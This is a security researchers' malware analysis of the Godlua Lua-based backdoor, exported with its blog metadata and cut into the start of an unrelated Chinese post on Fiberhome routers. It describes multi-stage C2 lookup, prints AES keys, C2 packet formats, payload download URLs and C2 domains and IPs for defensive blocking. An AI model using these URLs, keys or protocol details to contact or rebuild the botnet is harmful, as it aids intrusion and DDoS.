<a href="__GHOST_URL__/content/images/2019/06/l.PNG"><img src="__GHOST_URL__/content/images/2019/06/l.PNG" class="kg-image"/></a></p>
<h2 id="suggestions">Suggestions</h2>
<p>We have yet to see the whole picture of how exactly the Godlua backdoor infects the targets, at this point we know at least some linux users were infected via the Confluence exploit(CVE-2019-3396), if our readers have more information, feel free to contact us.</p>
<p>We suggest that at least to monitor and block the relevant IP, URL and domain name of Godlua Backdoor on your network.</p>
<h4 id="contactus">Contact us</h4>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h4 id="ioclist">IoC list</h4>
<p>Sample MD5</p>
<pre><code>870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
</code></pre>
<p>URL</p>
<pre><code>https://helegedada.github.io/test/test
https://api.github.com/repos/helegedada/heihei
http://198.204.231.250/linux-x64
http://198.204.231.250/linux-x86
https://dd.heheda.tk/i.jpg
https://dd.heheda.tk/i.sh
https://dd.heheda.tk/x86_64-static-linux-uclibc.jpg
https://dd.heheda.tk/i686-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/i.jpg
https://dd.cloudappconfig.com/i.sh
https://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg
https://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg
http://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe
http://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan
http://d.cloudappconfig.com/i686-static-linux-uclibc/Satan
http://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan
https://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan
</code></pre>
<p>C2 Domain</p>
<pre><code>d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
</code></pre>
<p>IP</p>
<pre><code>198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK
</code></pre>
<!--kg-card-end: markdown--> | Background
On April 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file which was marked by a few vendors as mining related trojan on VT. We cannot confirm it has mining related module, but we do see it starts to perform DDoS function recently.
The file itself is a Lua-based Backdoor, we named it Godlua Backdoor as the Lua byte-code file loaded by this sample has a magic number of “God”.
Godlua Backdoor has a redundant communication mechanism for C2 connection, a combination of hardcoded dns name, Pastebin.com, GitHub.com as well as DNS TXT are used to store the C2 address, which is not something we see often. At the same time, it uses HTTPS to download Lua byte-code files, and uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2.
We noticed that there are already 2 versions of Godlua Backdoor and there are ongoing updates. We also observed that attackers has been using Lua command to run Lua code dynamically and initiate HTTP Flood attacks targeting some websites.
Overview
At present, we see that there are two versions of Godlua. Version 201811051556 is obtained by traversing Godlua download servers and there has been no update on it. Version 20190415103713 ~ 2019062117473 is active and is actively being updated. They are all written in C, but the active one supports more computer platforms and more features. The following is a comparison.
Godlua Backdoor Reverse Analysis
version 201811051556
This is the version we found earlier (201811051556). It focuses on the Linux platform and supports two kinds of C2 instructions, to execute Linux system commands and to run custom files.
Sample information
* MD5: 870319967dba4bd02c7a7f8be8ece94f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
C2 redundant mechanism
This version perform C2 communications in two ways, hardcoded domain name and Github link.
Its hardcoded C2 domain is: d.heheda.tk
It also has a Github page and the real C2 address is in the project description.
C2 instruction
cmd_call, execute Linux system commands
cmd_shell, execute custom file
C2 protocol analysis
Packet format
Length
Type
Data
Little endian,2 bytes
1 bytes
(Length -3) bytes
Encryption Algorithm
XOR’s Key is randomly generated of 16 bytes of data, the algorithm is as follow:
Packet Overview
cmd_handshake
packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
Length: packet[0:1] --->0x0024
Type: packet[2] --->0x02,handshake
Data: packet[3:31]
Data
Data[0:15] ---->xor key
Data[16:23] ---->version,hardcoded,little endian.
Data[24:31] ---->arch,hardcoded.
cmd_heartbeat
packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
Length: packet[0:1] --->0x000b
Type: packet[2] --->0x03,heartbeat
Data: packet[3:10] --->xored clock64()
version 20190415103713 ~ 20190621174731
This active version runs on both Windows and Linux.
The control module is implemented in Lua and five C2 commands are supported
Sample information
version 20190415103713
* MD5: c9b712f6c347edde22836fb43b927633
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
version 20190621174731
* MD5: 75902cf93397d2e2d1797cd115f8347a
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
C2 redundant mechanism
Stage-1 URL
The backdoor uses 3 different ways to store the Stage-1 URL. hardcoded ciphertext, Github project description, and Pastebin text.
After the Stage-1 URL is retrieved and decrypted, a start.png file will be downloaded, which is actually a Lua bytecode.
The Bot then loads it into memory and executes it to get the Stage-2 URL.
Encryption Algorithm
* AES，CBC Mode
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
Hard coded ciphertext
version 20190415103713
* AES ciphertext：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E
* Stage-1 URL plaintext：https://d.heheda.tk/%s.png
version 20190621174731
* AES ciphertext：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD
* Stage-1 URL plaintext：https://img0.cloudappconfig.com/%s.png
Github project description
* AES ciphertext：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92
* Github URL plaintext：https://api.github.com/repos/helegedada/heihei
* Decryption Process:
* Project description ciphertext: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb
* Stage-1 URL plaintext：https://img1.cloudappconfig.com/%s.png
Pastebin text
* AES ciphertext：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48
DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15
* Pastebin URL plaintext：https://pastebin.com/raw/vSDzq3Md
* Decryption Process:
* Pastebin Ciphertext: G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj
* Stage-1 URL plaintext：https://img2.cloudappconfig.com/%s.png
Stage-2 URL
Here at stage-2, two mechanisms are being used for storing the Stage-2 URL, Github project file and DNS over HTTPS.
After the Stage-2 URL is retrieved and decrypted, a run.png file, also a Lua bytecode, will be downloaded.
Bot will load this file into memory and run it to get Stage-3 C2.
Encryption Algorithm
* AES，CBC Mode
* key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a
* iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c
Github project file
* Github URL is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it：
* Github project file ciphertext: kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=
* Stage-2 URL plaintext：{"u":"https:\/\/dd.heheda.tk\/%s.png","c":"dd.heheda.tk::198.204.231.250:"}
DNS TXT
* DNS TXT is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it：
* DNS over HTTPS Request：
* DNS TXT ciphertext: 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/
* Stage-2 URL plaintext：{"u":"http:\/\/img1.cloudappconfig.com\/%s.png","c":"img1.cloudappconfig.com::43.224.225.220:"}
Stage-3 C2
Stage-3 C2 is hardcoded in the Lua byte-code file (run.png). We disassembled it to get the following information.
version 20190415103713
version 20190621174731
DNS Over HTTPS Request
C2 instruction
| CMD | Type |
| --------- | ---- |
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
C2 protocol analysis
Packet format
Type
Length
Data
1byte
Big endian,2 bytes
Length bytes
Packet overview
* HANDSHAKE
Type: packet[0] --->0x01,HANDSHAKE
LENGTH: packet[1:2] --->0x0010
Data: packet[3:end]
data[0:7] --->Session
data[8:end] --->version,0x00125cfecd8bcb->20190621174731
*
HEARTBEAT
Send:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->time,0x5d13779b,1561556891
Replay:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->1561556891
*
LUA Payload
Type: packet[0] --->0x03,LUA
Length: packet[1:2] --->0x00ab
Data: packet[3:end] --->Lua script
We observe the attacker performing a HTTP Flood attack against www.liuxiaobei.com.
Lua script analysis
The Bot sample downloads many Lua scripts when executing, and the scripts can be broken down to three categories: execute, auxiliary, and attack.
* execute: start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png
* auxiliary: packet.png,curl.png,util.png,utils.png
* attack: VM.png,CC.png
Encryption Algorithm
* AES，CBC Mode
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
Lua magic number
The decrypted files are all pre-compiled, take upgrade.png as an example, note the highlighted part is the file header.
You can see that the magic number has changed from “Lua” to “God”.
The malware author also seems to set a trap for researcher here by manually changing the LuaVerion number in the sample to 5.1.4 ($LuaVersion: God 5.1.4 C$$LuaAuthors: R. $). We think the real version should be definitely newer than 5.2.
Decompile
In order to decompile the above script, we have to know what changes have been made to Lua. After some analysis, we concluded that the modification can be divided into two major sections: Lua Header and Lua Opcode.
Decompiled by Luadec[1]
Suggestions
We have yet to see the whole picture of how exactly the Godlua backdoor infects the targets, at this point we know at least some linux users were infected via the Confluence exploit(CVE-2019-3396), if our readers have more information, feel free to contact us.
We suggest that at least to monitor and block the relevant IP, URL and domain name of Godlua Backdoor on your network.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
Sample MD5
870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
URL
https://helegedada.github.io/test/test
https://api.github.com/repos/helegedada/heihei
http://198.204.231.250/linux-x64
http://198.204.231.250/linux-x86
https://dd.heheda.tk/i.jpg
https://dd.heheda.tk/i.sh
https://dd.heheda.tk/x86_64-static-linux-uclibc.jpg
https://dd.heheda.tk/i686-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/i.jpg
https://dd.cloudappconfig.com/i.sh
https://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg
https://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg
http://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe
http://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan
http://d.cloudappconfig.com/i686-static-linux-uclibc/Satan
http://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan
https://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan
C2 Domain
d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
IP
198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background\n\nOn April 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file which was marked by a few vendors as mining related trojan on VT. We cannot confirm it has mining related module, but we do see it starts to perform DDoS function recently.\n\nThe file itself is a Lua-based Backdoor, we named it Godlua Backdoor as the Lua byte-code file loaded by this sample has a magic number of “God”.\n\nGodlua Backdoor has a redundant communication mechanism for C2 connection, a combination of hardcoded dns name, Pastebin.com, GitHub.com as well as DNS TXT are used to store the C2 address, which is not something we see often. At the same time, it uses HTTPS to download Lua byte-code files, and uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2.\n\nWe noticed that there are already 2 versions of Godlua Backdoor and there are ongoing updates. We also observed that attackers has been using Lua command to run Lua code dynamically and initiate HTTP Flood attacks targeting some websites.\n\n\n\n### Overview\nAt present, we see that there are two versions of Godlua. Version 201811051556 is obtained by traversing Godlua download servers and there has been no update on it. Version 20190415103713 ~ 2019062117473 is active and is actively being updated. They are all written in C, but the active one supports more computer platforms and more features. The following is a comparison.\n<a href=\"__GHOST_URL__/content/images/2019/06/brief.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/brief.PNG\" class=\"kg-image\"/></a>\n\n\n### Godlua Backdoor Reverse Analysis\n\n### version 201811051556 \nThis is the version we found earlier (201811051556). It focuses on the Linux platform and supports two kinds of C2 instructions, to execute Linux system commands and to run custom files.\n\n#### Sample information\n\n* MD5: 870319967dba4bd02c7a7f8be8ece94f \n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped \n\n#### C2 redundant mechanism\nThis version perform C2 communications in two ways, hardcoded domain name and Github link.\n<a href=\"__GHOST_URL__/content/images/2019/06/v1.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/v1.PNG\" class=\"kg-image\"/></a>\n\nIts hardcoded C2 domain is: d.heheda.tk\n<a href=\"__GHOST_URL__/content/images/2019/06/1-1.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/1-1.PNG\" class=\"kg-image\"/></a>\n\nIt also has a Github page and the real C2 address is in the project description.\n<a href=\"__GHOST_URL__/content/images/2019/06/2-4.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/2-4.PNG\" class=\"kg-image\"/></a>\n\n#### C2 instruction\n\ncmd_call, execute Linux system commands\n <a href=\"__GHOST_URL__/content/images/2019/06/3-3.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/3-3.PNG\" class=\"kg-image\"/></a>\n\ncmd_shell, execute custom file\n<a href=\"__GHOST_URL__/content/images/2019/06/4-3.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/4-3.PNG\" class=\"kg-image\"/></a>\n\n#### C2 protocol analysis\n\n###### Packet format\n| Length | Type | Data |\n| --------------------- | ------- | ----------------- |\n| Little endian,2 bytes | 1 bytes | (Length -3) bytes |\n###### Encryption Algorithm\nXOR’s Key is randomly generated of 16 bytes of data, the algorithm is as follow:\n<a href=\"__GHOST_URL__/content/images/2019/06/5-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/5-2.PNG\" class=\"kg-image\"/></a>\n\n#### Packet Overview\n\n###### cmd_handshake\n\n```bash\npacket[0:31]:\n24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d\n70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78\n2d 78 38 36\n\nLength:\tpacket[0:1] --->0x0024\nType:\tpacket[2] --->0x02,handshake\nData:\tpacket[3:31]\n Data\n Data[0:15] ---->xor key\n Data[16:23] ---->version,hardcoded,little endian.\n Data[24:31] ---->arch,hardcoded.\n\n```\n\n###### cmd_heartbeat\n\n```bash\npacket[0:10]:\n0b 00 03 87 19 45 cb 91 d1 d1 a9\n\nLength:\t\t packet[0:1] --->0x000b\nType:\t\t packet[2] --->0x03,heartbeat\nData:\t\t packet[3:10] --->xored clock64()\n```\n\n### version 20190415103713 ~ 20190621174731\nThis active version runs on both Windows and Linux.\nThe control module is implemented in Lua and five C2 commands are supported\n\n#### Sample information\n\n###### version 20190415103713 \n* MD5: c9b712f6c347edde22836fb43b927633\n> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n\n###### version 20190621174731\n* MD5: 75902cf93397d2e2d1797cd115f8347a\n> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n> \n#### C2 redundant mechanism\n<a href=\"__GHOST_URL__/content/images/2019/06/godlua.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/godlua.PNG\" class=\"kg-image\"/></a>\n\n\n#### Stage-1 URL\n\nThe backdoor uses 3 different ways to store the Stage-1 URL. hardcoded ciphertext, Github project description, and Pastebin text.\nAfter the Stage-1 URL is retrieved and decrypted, a start.png file will be downloaded, which is actually a Lua bytecode.\nThe Bot then loads it into memory and executes it to get the Stage-2 URL.\n\n###### Encryption Algorithm\n\n* AES，CBC Mode\n* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A \n* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C \n\n###### Hard coded ciphertext\n\n**version 20190415103713**\n * AES ciphertext：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E\n * Stage-1 URL plaintext：```https://d.heheda.tk/%s.png``` \n\n**version 20190621174731**\n * AES ciphertext：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD\n * Stage-1 URL plaintext：```https://img0.cloudappconfig.com/%s.png``` \n\n###### Github project description\n * AES ciphertext：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92 \n * Github URL plaintext：```https://api.github.com/repos/helegedada/heihei``` \n * Decryption Process:\n <a href=\"__GHOST_URL__/content/images/2019/06/8-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/8-2.PNG\" class=\"kg-image\"/></a>\n * Project description ciphertext: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb\n * Stage-1 URL plaintext：```https://img1.cloudappconfig.com/%s.png```\n\n\n###### Pastebin text\n * AES ciphertext：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48\n DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15 \n * Pastebin URL plaintext：```https://pastebin.com/raw/vSDzq3Md``` \n * Decryption Process:\n<a href=\"__GHOST_URL__/content/images/2019/06/9.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/9.PNG\" class=\"kg-image\"/></a>\n * Pastebin Ciphertext: G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj\n * Stage-1 URL plaintext：```https://img2.cloudappconfig.com/%s.png```\n\n\n#### Stage-2 URL\nHere at stage-2, two mechanisms are being used for storing the Stage-2 URL, Github project file and DNS over HTTPS.\nAfter the Stage-2 URL is retrieved and decrypted, a run.png file, also a Lua bytecode, will be downloaded.\nBot will load this file into memory and run it to get Stage-3 C2.\n\n###### Encryption Algorithm\n* AES，CBC Mode\n* key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a \n* iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c \n\n###### Github project file\n* Github URL is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it：\n<a href=\"__GHOST_URL__/content/images/2019/06/a-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/a-2.PNG\" class=\"kg-image\"/></a>\n* Github project file ciphertext: kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=\n* Stage-2 URL plaintext：```{\"u\":\"https:\\/\\/dd.heheda.tk\\/%s.png\",\"c\":\"dd.heheda.tk::198.204.231.250:\"}```\n\n###### DNS TXT\n* DNS TXT is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it：\n<a href=\"__GHOST_URL__/content/images/2019/06/b-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/b-2.PNG\" class=\"kg-image\"/></a>\n* DNS over HTTPS Request：\n<a href=\"__GHOST_URL__/content/images/2019/06/dnstxt.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/dnstxt.PNG\" class=\"kg-image\"/></a>\n* DNS TXT ciphertext: 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/\n* Stage-2 URL plaintext：```{\"u\":\"http:\\/\\/img1.cloudappconfig.com\\/%s.png\",\"c\":\"img1.cloudappconfig.com::43.224.225.220:\"}```\n\n#### Stage-3 C2\nStage-3 C2 is hardcoded in the Lua byte-code file (run.png). We disassembled it to get the following information.\n\n**version 20190415103713**\n<a href=\"__GHOST_URL__/content/images/2019/06/c-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/c-2.PNG\" class=\"kg-image\"/></a>\n\n**version 20190621174731**\n<a href=\"__GHOST_URL__/content/images/2019/06/d-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/d-2.PNG\" class=\"kg-image\"/></a>\n\n###### DNS Over HTTPS Request\n<a href=\"__GHOST_URL__/content/images/2019/06/e.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/e.PNG\" class=\"kg-image\"/></a>\n\n###### C2 instruction\n```\n| CMD | Type |\n| --------- | ---- |\n| HANDSHAKE | 1 |\n| HEARTBEAT | 2 |\n| LUA | 3 |\n| SHELL | 4 |\n| UPGRADE | 5 |\n| QUIT | 6 |\n| SHELL2 | 7 |\n| PROXY | 8 |\n```\n###### C2 protocol analysis\nPacket format\n| Type | Length | Data |\n| ----- | ------------------ | ------------ |\n| 1byte | Big endian,2 bytes | Length bytes |\n\n###### Packet overview\n* HANDSHAKE\n<a href=\"__GHOST_URL__/content/images/2019/06/f.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/f.PNG\" class=\"kg-image\"/></a>\n\n```\nType:\tpacket[0]\t\t--->0x01,HANDSHAKE\nLENGTH:\tpacket[1:2]\t\t--->0x0010\nData:\tpacket[3:end]\n data[0:7]\t\t\t--->Session\n data[8:end]\t\t\t--->version,0x00125cfecd8bcb->20190621174731\n```\n\n* HEARTBEAT\n<a href=\"__GHOST_URL__/content/images/2019/06/g.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/g.PNG\" class=\"kg-image\"/></a>\n\n ```\n Send:\n \tType: \t\t\tpacket[0] --->0x02,HEARTBEAT\n \tLength:\t\t\tpacket[1:2] --->0x4\n \tData:\t\t\tpacket[3:end] --->time,0x5d13779b,1561556891\n Replay:\n \tType:\t\t\tpacket[0] --->0x02,HEARTBEAT\n \tLength:\t\t\tpacket[1:2] --->0x4\n \tData:\t\t\tpacket[3:end] --->1561556891\n ```\n\n* LUA Payload\n<a href=\"__GHOST_URL__/content/images/2019/06/h.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/h.PNG\" class=\"kg-image\"/></a>\n\n ```\n Type: packet[0] --->0x03,LUA\n Length: packet[1:2] --->0x00ab\n Data: packet[3:end] --->Lua script\n ```\nWe observe the attacker performing a HTTP Flood attack against www.liuxiaobei.com.\n<a href=\"__GHOST_URL__/content/images/2019/06/j.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/j.PNG\" class=\"kg-image\"/></a>\n\n#### Lua script analysis \nThe Bot sample downloads many Lua scripts when executing, and the scripts can be broken down to three categories: execute, auxiliary, and attack.\n\n* execute: start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png\n* auxiliary: packet.png,curl.png,util.png,utils.png\n* attack: VM.png,CC.png\n\n###### Encryption Algorithm\n* AES，CBC Mode\n* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A \n* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C \n\n###### Lua magic number\nThe decrypted files are all pre-compiled, take upgrade.png as an example, note the highlighted part is the file header.\n<a href=\"__GHOST_URL__/content/images/2019/06/k.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/k.PNG\" class=\"kg-image\"/></a>You can see that the magic number has changed from “Lua” to “God”.\n\nThe malware author also seems to set a trap for researcher here by manually changing the LuaVerion number in the sample to 5.1.4 ($LuaVersion: God 5.1.4 C$$LuaAuthors: R. $). We think the real version should be definitely newer than 5.2.\n\n###### Decompile\nIn order to decompile the above script, we have to know what changes have been made to Lua. After some analysis, we concluded that the modification can be divided into two major sections: Lua Header and Lua Opcode.\n\nDecompiled by Luadec[[1\\]](https://github.com/viruscamp/luadec)\n<a href=\"__GHOST_URL__/content/images/2019/06/l.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/l.PNG\" class=\"kg-image\"/></a>\n\n\n## Suggestions\nWe have yet to see the whole picture of how exactly the Godlua backdoor infects the targets, at this point we know at least some linux users were infected via the Confluence exploit(CVE-2019-3396), if our readers have more information, feel free to contact us.\n\nWe suggest that at least to monitor and block the relevant IP, URL and domain name of Godlua Backdoor on your network.\n\n\n#### Contact us\n\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n\n#### IoC list\nSample MD5\n```\n870319967dba4bd02c7a7f8be8ece94f\nc9b712f6c347edde22836fb43b927633\n75902cf93397d2e2d1797cd115f8347a\n```\n\nURL\n```\nhttps://helegedada.github.io/test/test\nhttps://api.github.com/repos/helegedada/heihei\nhttp://198.204.231.250/linux-x64\nhttp://198.204.231.250/linux-x86\nhttps://dd.heheda.tk/i.jpg\nhttps://dd.heheda.tk/i.sh\nhttps://dd.heheda.tk/x86_64-static-linux-uclibc.jpg\nhttps://dd.heheda.tk/i686-static-linux-uclibc.jpg\nhttps://dd.cloudappconfig.com/i.jpg\nhttps://dd.cloudappconfig.com/i.sh\nhttps://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg\nhttps://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg\nhttps://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg\nhttp://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe\nhttp://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan\nhttp://d.cloudappconfig.com/i686-static-linux-uclibc/Satan\nhttp://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan\nhttps://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan\n```\n\nC2 Domain\n```\nd.heheda.tk\ndd.heheda.tk\nc.heheda.tk\nd.cloudappconfig.com\ndd.cloudappconfig.com\nc.cloudappconfig.com\nf.cloudappconfig.com\nt.cloudappconfig.com\nv.cloudappconfig.com\nimg0.cloudappconfig.com\nimg1.cloudappconfig.com\nimg2.cloudappconfig.com\n```\n\nIP\n```\n198.204.231.250 \tUnited States \tASN 33387 \tDataShack, LC \n104.238.151.101 \tJapan \tASN 20473 \tChoopa, LLC \n43.224.225.220 \tHong Kong \tASN 22769 \tDDOSING NETWORK \n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d1987ea0bbc140007c57cf0 |
post | null | 2019-07-30T03:35:36.000Z | 63873b9a8b1c1e0007f52f53 | some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes | 0 | 2022-02-09T07:11:24.000Z | public | published | null | 2019-08-02T01:55:47.000Z | 一些Fiberhome路由器正在被利用为SSH隧道代理节点 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2019年7月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前在VirusTotal上还没有一款杀毒引擎检测识别。通过详细分析，我们确定这是一款针对Fiberhome路由器设备Reporter程序。它会定时获取设备IP等信息并上传给一个Web接口，以此来解决设备IP变更的问题。</p>
